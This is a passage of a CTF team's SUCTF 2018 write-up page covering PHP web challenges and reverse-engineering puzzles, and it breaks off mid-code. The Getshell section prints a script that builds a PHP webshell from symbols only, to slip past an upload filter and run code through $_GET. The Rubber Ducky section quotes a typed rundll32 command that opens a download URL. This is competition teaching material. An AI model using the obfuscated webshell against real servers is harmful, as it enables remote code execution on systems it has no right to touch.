-
Notifications
You must be signed in to change notification settings - Fork 38
/
index.html
1001 lines (903 loc) · 69.8 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>SUCTF 2018</title>
<link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
<link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
<link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
<link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
<script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
<script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
<script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
<script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
</head>
<style>
body {
padding-top: 56px;
}
.sticky-offset {
top: 56px;
}
#body-row {
margin-left:0;
margin-right:0;
}
#sidebar-container {
min-height: 100vh;
background-color: #333;
padding: 0;
}
/* Sidebar sizes when expanded and expanded */
.sidebar-expanded {
width: 230px;
}
.sidebar-collapsed {
width: 60px;
}
/* Menu item*/
#sidebar-container .list-group a {
height: 50px;
color: white;
}
/* Submenu item*/
#sidebar-container .list-group .sidebar-submenu a {
height: 45px;
padding-left: 60px;
}
.sidebar-submenu {
font-size: 0.9rem;
}
/* Separators */
.sidebar-separator-title {
background-color: #333;
height: 35px;
}
.sidebar-separator {
background-color: #333;
height: 25px;
}
.logo-separator {
background-color: #333;
height: 60px;
}
/*
active scrollspy
*/
.list-group-item.active {
border-color: transparent;
border-left: #e69138 solid 4px;
}
/*
anchor padding top
https://stackoverflow.com/a/28824157
*/
:target:before {
content:"";
display:block;
height:56px; /* fixed header height*/
margin:-56px 0 0; /* negative fixed header height */
}
</style>
<script>
// https://stackoverflow.com/a/48330533
$(window).on('activate.bs.scrollspy', function (event) {
let active_collapse = $($('.list-group-item.active').parents()[0]);
$(".collapse").removeClass("show");
active_collapse.addClass("show");
let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
$('a[href^="#submenu"]').css("border-left", "");
parent_menu.css("border-left","#e69138 solid 4px");
});
// http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
MathJax.Hub.Config({
tex2jax: {
inlineMath: [['$','$'], ['\\(','\\)']],
processEscapes: true
}
});
</script>
<body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
<nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
<img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
<span class="menu-collapsed">balsn / ctf_writeup</span>
</a>
<div class="collapse navbar-collapse" id="navbarNavDropdown">
<ul class="navbar-nav my-2 my-lg-0">
<li class="nav-item dropdown d-sm-block d-md-none">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
web
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#anonymous-(bookgin)">anonymous-(bookgin)</a>
<a class="dropdown-item" href="#getshell-(unsolved,-written-bookgin)">getshell-(unsolved,-written-bookgin)</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
rev
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#python-(sasdf)">python-(sasdf)</a>
<a class="dropdown-item" href="#enigma-(sasdf)">enigma-(sasdf)</a>
<a class="dropdown-item" href="#rubber-ducky-(sasdf)">rubber-ducky-(sasdf)</a>
<a class="dropdown-item" href="#roughlike与期末大作业-(sces60107)">roughlike与期末大作业-(sces60107)</a>
<a class="dropdown-item" href="#babyre-(sces60107)">babyre-(sces60107)</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
misc
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#tnt-(sasdf,-bookgin)">tnt-(sasdf,-bookgin)</a>
<a class="dropdown-item" href="#sandgame-(b04902036)">sandgame-(b04902036)</a>
<a class="dropdown-item" href="#cyclic-(b04902036)">cyclic-(b04902036)</a>
<a class="dropdown-item" href="#game-(b04902036)">game-(b04902036)</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
pwn
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#note-(kevin47)">note-(kevin47)</a>
<a class="dropdown-item" href="#heap-(b04902036)">heap-(b04902036)</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
crypto
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#enjoy-(b04902036)">enjoy-(b04902036)</a>
<a class="dropdown-item" href="#rsa-good-(b04902036)">rsa-good-(b04902036)</a>
<a class="dropdown-item" href="#magic-(sasdf)">magic-(sasdf)</a>
<a class="dropdown-item" href="#rsa-(sasdf)">rsa-(sasdf)</a>
<a class="dropdown-item" href="#pass-(sasdf)">pass-(sasdf)</a>
</div>
</li>
</ul>
</div>
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
<ul class="navbar-nav ml-auto">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
</ul>
</div>
</nav>
<div class="row" id="body-row">
<div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
<ul class="list-group sticky-top sticky-offset">
<a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">web</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu0" class="collapse sidebar-submenu">
<a href="#anonymous-(bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">anonymous-(bookgin)</span>
</a>
<a href="#getshell-(unsolved,-written-bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">getshell-(unsolved,-written-bookgin)</span>
</a>
</div>
<a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">rev</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu1" class="collapse sidebar-submenu">
<a href="#python-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">python-(sasdf)</span>
</a>
<a href="#enigma-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">enigma-(sasdf)</span>
</a>
<a href="#rubber-ducky-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">rubber-ducky-(sasdf)</span>
</a>
<a href="#roughlike与期末大作业-(sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">roughlike与期末大作业-(sces60107)</span>
</a>
<a href="#babyre-(sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">babyre-(sces60107)</span>
</a>
</div>
<a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">misc</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu2" class="collapse sidebar-submenu">
<a href="#tnt-(sasdf,-bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">tnt-(sasdf,-bookgin)</span>
</a>
<a href="#sandgame-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">sandgame-(b04902036)</span>
</a>
<a href="#cyclic-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">cyclic-(b04902036)</span>
</a>
<a href="#game-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">game-(b04902036)</span>
</a>
</div>
<a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">pwn</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu3" class="collapse sidebar-submenu">
<a href="#note-(kevin47)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">note-(kevin47)</span>
</a>
<a href="#heap-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">heap-(b04902036)</span>
</a>
</div>
<a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">crypto</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu4" class="collapse sidebar-submenu">
<a href="#enjoy-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">enjoy-(b04902036)</span>
</a>
<a href="#rsa-good-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">rsa-good-(b04902036)</span>
</a>
<a href="#magic-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">magic-(sasdf)</span>
</a>
<a href="#rsa-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">rsa-(sasdf)</span>
</a>
<a href="#pass-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">pass-(sasdf)</span>
</a>
</div>
</ul>
</div>
<div class="col-10 py-3">
<article class="markdown-body"><h1 id="suctf-2018"><a class="header-link" href="#suctf-2018"></a>SUCTF 2018</h1>
<h2 id="web"><a class="header-link" href="#web"></a>web</h2>
<h3 id="anonymous-(bookgin)"><a class="header-link" href="#anonymous-(bookgin)"></a>Anonymous (bookgin)</h3>
<ul class="list">
<li>PHP assigned a predictable function name <code>\x00lambda_%d</code> to an anonymous function</li>
<li>Refer to <a href="https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017">Oragne's challenges</a></li>
</ul>
<p>Exploit:</p>
<ol class="list">
<li>Make Apache fork, refer to <a href="https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/baby%5Eh-master-php-2017/fork.py">Orange's script</a>. It's intended to reset the index of lambda function. </li>
<li>Get flag via <code>http://web.suctf.asuri.org:81/?func_name=%00lambda_1</code></li>
</ol>
<h3 id="getshell-(unsolved,-written-bookgin)"><a class="header-link" href="#getshell-(unsolved,-written-bookgin)"></a>Getshell (unsolved, written bookgin)</h3>
<p>I'm stuck in this problem for about a day, and I really desperate for the writeup. So let me put the reference first(respect!):</p>
<p>Reference:</p>
<ol class="list">
<li><a href="https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&mid=2247484003&idx=1&sn=e27b4e770b3a16245026013545474056&chksm=9760f6b5a0177fa35f21d0260a798a5b774644d45ab74af0e1e74eabbdd4520296a190ada01e&mpshare=1&scene=23&srcid=0528VpCYK8o8P9iyzHwB9thX#rd">白帽100安全攻防实验室</a></li>
<li><a href="https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html">phithon's blog</a></li>
</ol>
<p>In this problem, you can upload filename with extension <code>php</code>. However, there are some constraint: except for the first 5 characters, the php shell can only contain <code>$().;=[]_~\n</code>.</p>
<p>Because the php <a href="http://php.net/manual/en/language.basic-syntax.phptags.php">short tag</a> is not enabled, the first 5 characters have to be <code><?php</code>. However, how to create a php shell with <code>$().;=[]_~\n</code> and unicode characters?</p>
<p>After a few tries, and taking advantage of PHP, I can only create strings "Array", "1", which is definitely not enough to create a webshell.</p>
<p>The key point is:</p>
<pre class="hljs"><code>php > var_dump(臺[<span class="hljs-number">1</span>]);
PHP Warning: <span class="hljs-keyword">Use</span> <span class="hljs-title">of</span> <span class="hljs-title">undefined</span> <span class="hljs-title">constant</span> 臺 - <span class="hljs-title">assumed</span> '臺' (<span class="hljs-title">this</span> <span class="hljs-title">will</span> <span class="hljs-title">throw</span> <span class="hljs-title">an</span> <span class="hljs-title">Error</span> <span class="hljs-title">in</span> <span class="hljs-title">a</span> <span class="hljs-title">future</span> <span class="hljs-title">version</span> <span class="hljs-title">of</span> <span class="hljs-title">PHP</span>) <span class="hljs-title">in</span> <span class="hljs-title">php</span> <span class="hljs-title">shell</span> <span class="hljs-title">code</span> <span class="hljs-title">on</span> <span class="hljs-title">line</span> 1
<span class="hljs-title">string</span>(1) "�"</code></pre><p>Although the unicode character 臺 (which means Tai in Chinese) is not put in quotes, it can still be interpreted. Thank you, PHP!</p>
<p>But the unicode character doesn't contain any ASCII character in case of character set confusion. We can utilize <code>~</code> to bypass this.</p>
<p>Here is a PoC. The challenge server uses PHP 5, so <code>assert</code> can be used as a dynamic function to RCE.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">toUnicode</span><span class="hljs-params">(c)</span>:</span>
byte = <span class="hljs-number">255</span>-ord(c)
<span class="hljs-keyword">return</span> bytes([<span class="hljs-number">0xe4</span>, byte, <span class="hljs-number">0x80</span>]).decode()
print(<span class="hljs-string">'$_=_==_;'</span>) <span class="hljs-comment"># True, because NULL == NULL</span>
print(<span class="hljs-string">'$__='</span> + <span class="hljs-string">'.'</span>.join([f<span class="hljs-string">'~{toUnicode(c)}[$_]'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> <span class="hljs-string">'printf'</span>]) + <span class="hljs-string">';'</span>) <span class="hljs-comment"># string(4) "printf"</span>
print(<span class="hljs-string">'$___='</span> + <span class="hljs-string">'.'</span>.join([f<span class="hljs-string">'~{toUnicode(c)}[$_]'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> <span class="hljs-string">'_GET'</span>]) + <span class="hljs-string">';'</span>) <span class="hljs-comment"># string(4) "_GET"</span>
print(f<span class="hljs-string">'$__($$___[$_]);'</span>) <span class="hljs-comment"># $$___[$_] means $_GET["1"]</span></code></pre><pre class="hljs"><code>$_=_==_;
$__=~䏀[$_].~䍀[$_].~䖀[$_].~䑀[$_].~䋀[$_].~䙀[$_];
$___=~䠀[$_].~一[$_].~亀[$_].~䫀[$_];
$__($$___[$_]); <span class="hljs-comment">// printf($_GET["1"]);</span></code></pre><h2 id="rev"><a class="header-link" href="#rev"></a>rev</h2>
<h3 id="python-(sasdf)"><a class="header-link" href="#python-(sasdf)"></a>python (sasdf)</h3>
<p>We construct the pyc from <code>opcode.txt</code> and then decompile with <code>uncompyle6</code> (If you are interestring in how to construct pyc, google for types.CodeType and marshal), and then we have following code:</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> ctypes <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> libnum <span class="hljs-keyword">import</span> n2s, s2n
<span class="hljs-keyword">import</span> binascii <span class="hljs-keyword">as</span> b
key = <span class="hljs-string">'********'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aaaa</span><span class="hljs-params">(key)</span>:</span>
a = <span class="hljs-keyword">lambda</span> a: b.hexlify(a)
<span class="hljs-keyword">return</span> (<span class="hljs-string">''</span>).join((a(i) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> key))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aa</span><span class="hljs-params">(key)</span>:</span>
a = cdll.LoadLibrary(<span class="hljs-string">'./a'</span>).a
a(key)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aaaaa</span><span class="hljs-params">(a)</span>:</span>
<span class="hljs-keyword">return</span> s2n(a)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aaa</span><span class="hljs-params">(key)</span>:</span>
a = cdll.LoadLibrary(<span class="hljs-string">'./a'</span>).aa
a(key)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aaaaaa</span><span class="hljs-params">()</span>:</span>
aaa(aaaa(key))
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
aaaaaa()</code></pre><p>The code is wrong, there's no function <code>aa</code> in the library. It's not decompilation error, the provided file is wrong :( However, we know that the encryption function is called with hex-encoded key from this python code. Reverse the library we came up with following decryption code.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span><span class="hljs-params">(enc, key)</span>:</span>
key = binascii.hexlify(key.encode(<span class="hljs-string">'ascii'</span>))
key = list(key * (<span class="hljs-number">256</span>//len(key)+<span class="hljs-number">1</span>))[:<span class="hljs-number">256</span>]
sbox = list(range(<span class="hljs-number">256</span>))
state = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">256</span>):
state = (key[i] + sbox[i] + state) & <span class="hljs-number">0xff</span>
sbox[i], sbox[state] = sbox[state], sbox[i]
a, b, r = <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-string">''</span>
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> enc:
a = (a + <span class="hljs-number">1</span>) & <span class="hljs-number">0xff</span>
b = (b + sbox[a]) & <span class="hljs-number">0xff</span>
sbox[a], sbox[b] = sbox[b], sbox[a]
k = (sbox[a] + sbox[b]) & <span class="hljs-number">0xff</span>
r += chr(c ^ sbox[k])
<span class="hljs-keyword">return</span> r</code></pre><p>But the key is not <code>********</code>, search the key using rockyou for printable plaintext to get the flag.</p>
<h3 id="enigma-(sasdf)"><a class="header-link" href="#enigma-(sasdf)"></a>Enigma (sasdf)</h3>
<p>A reverse challenge that encrypt our input then compare to encrypted flag stored in the binary.</p>
<pre class="hljs"><code><span class="hljs-keyword">with</span> open(<span class="hljs-string">'Enigma'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
input_enc = list(f.read()[<span class="hljs-number">0x30a0</span>:][:<span class="hljs-number">36</span>])
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">bit</span><span class="hljs-params">(a, b)</span>:</span>
<span class="hljs-keyword">return</span> (a >> b) & <span class="hljs-number">1</span>
<span class="hljs-comment"># sub_11F0</span>
state = <span class="hljs-number">0x5F3759DF</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">9</span>):
v16 = bit(state, <span class="hljs-number">0</span>) ^ bit(state, <span class="hljs-number">2</span>) ^ bit(state, <span class="hljs-number">3</span>) ^ bit(state, <span class="hljs-number">5</span>) ^ bit(state, <span class="hljs-number">7</span>) ^ bit(state, <span class="hljs-number">31</span>)
state = (state >> <span class="hljs-number">1</span>) | (v16 << <span class="hljs-number">31</span>)
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
input_enc[i*<span class="hljs-number">4</span> + j] ^= (state >> (j*<span class="hljs-number">8</span>)) & <span class="hljs-number">0xff</span>
<span class="hljs-comment"># sub_F1E</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">partialRev</span><span class="hljs-params">(c)</span>:</span>
c = bin(c)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">8</span>, <span class="hljs-string">'0'</span>)
c = list(map(int, c))
r = list(reversed(c))
c = r[:<span class="hljs-number">3</span>] + c[<span class="hljs-number">3</span>:<span class="hljs-number">5</span>] + r[<span class="hljs-number">5</span>:]
<span class="hljs-keyword">return</span> int(<span class="hljs-string">''</span>.join(map(str, c)), <span class="hljs-number">2</span>)
input_enc = list(map(partialRev, input_enc))
<span class="hljs-comment"># sub_124F</span>
wire = [
[ <span class="hljs-number">0x31</span>, <span class="hljs-number">0x62</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0xC4</span> ],
[ <span class="hljs-number">0x21</span>, <span class="hljs-number">0x42</span>, <span class="hljs-number">0x63</span>, <span class="hljs-number">0x84</span> ],
[ <span class="hljs-number">0x3D</span>, <span class="hljs-number">0x7A</span>, <span class="hljs-number">0xB7</span>, <span class="hljs-number">0xF4</span> ],
]
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_mix</span><span class="hljs-params">(a1, a2, a3)</span>:</span>
a5 = a3 ^ a2 ^ a1
a4 = a2 & a1 | a3 & (a2 | a1)
<span class="hljs-keyword">return</span> (a4, a5)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mix</span><span class="hljs-params">(a2, v16, a4)</span>:</span>
bits = []
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>):
v4 = bit(a2, i)
v5 = bit(v16, i)
a4, a5 = _mix(v5, v4, a4)
bits.insert(<span class="hljs-number">0</span>, a5)
<span class="hljs-keyword">return</span> int(<span class="hljs-string">''</span>.join(map(str, bits)), <span class="hljs-number">2</span>), a4
flag = []
<span class="hljs-keyword">for</span> i, t <span class="hljs-keyword">in</span> enumerate(input_enc):
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>, <span class="hljs-number">128</span>):
a4 = <span class="hljs-number">0</span>
v16 = c
a2 = wire[<span class="hljs-number">0</span>][i%<span class="hljs-number">4</span>]
v16, a4 = mix(a2, v16, a4)
a2 = wire[<span class="hljs-number">1</span>][(i//<span class="hljs-number">4</span>%<span class="hljs-number">4</span>)]
v16, a4 = mix(a2, v16, a4)
a2 = wire[<span class="hljs-number">2</span>][i//<span class="hljs-number">16</span>]
v16, a4 = mix(a2, v16, a4)
<span class="hljs-keyword">if</span> v16 == t:
flag.append(c)
<span class="hljs-keyword">break</span>
print(bytes(flag).decode(<span class="hljs-string">'ascii'</span>))</code></pre><h3 id="rubber-ducky-(sasdf)"><a class="header-link" href="#rubber-ducky-(sasdf)"></a>Rubber Ducky (sasdf)</h3>
<p>The challenge provide a intel hex file, after convert to binary, we can find a string <code>Arduino Micro</code> at the bottom. The bootloader (i.e. the part that has 20 hex per line) is concatenated after the program. It's not modified so we can strip it off.</p>
<p>As the challenge hex in HITB CTF we solved before, we guess the program is typing some message using Keyboard library. Compiled sample code with <code>Keyboard::press</code> and <code>Keyboard::release</code>, and then use BinDiff to bring symbols back. The program is typing <code>rundll32 url.dll,OpenURL XXXXXX</code>, where URL is dynamically generated. We use <code>simavr</code> to get the URL. The simulator cannot go through initialization process, so we need to skip some code. It generate different (i.e. wrong) URLs depends on which part is skipped. However, after multiple run, we have:</p>
<pre class="hljs"><code><span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.com/Uz</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimXXcom/UzNjcmU3R2</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.XXm/UzNjcmU3R2FSZG</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.XXm/UzNjcmU3R2FSZGUO.zip</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.XXm/UzNjcmU3RAFSZGVO.zip</span>
Manual reconstructed <span class="hljs-string">URL:</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.com/UzNjcmU3R2FSZGVO.zip</span></code></pre><p>The zip contains a windows exe, which is a PyInstaller file according to it's icon. Extract with <code>pyinstxtractor</code>. The file <code>RubberDuckey</code> is a serialized marshal file. Add magic bytes and moddate to convert to pyc. then decompile with <code>uncompyle6</code>.</p>
<p>Finally, we got the flag with following decryption code:</p>
<pre class="hljs"><code>cipher = <span class="hljs-string">'YVGQF|1mooH.hXk.SebfQU`^WL)J[\\(`'</span>
res = <span class="hljs-string">''</span>
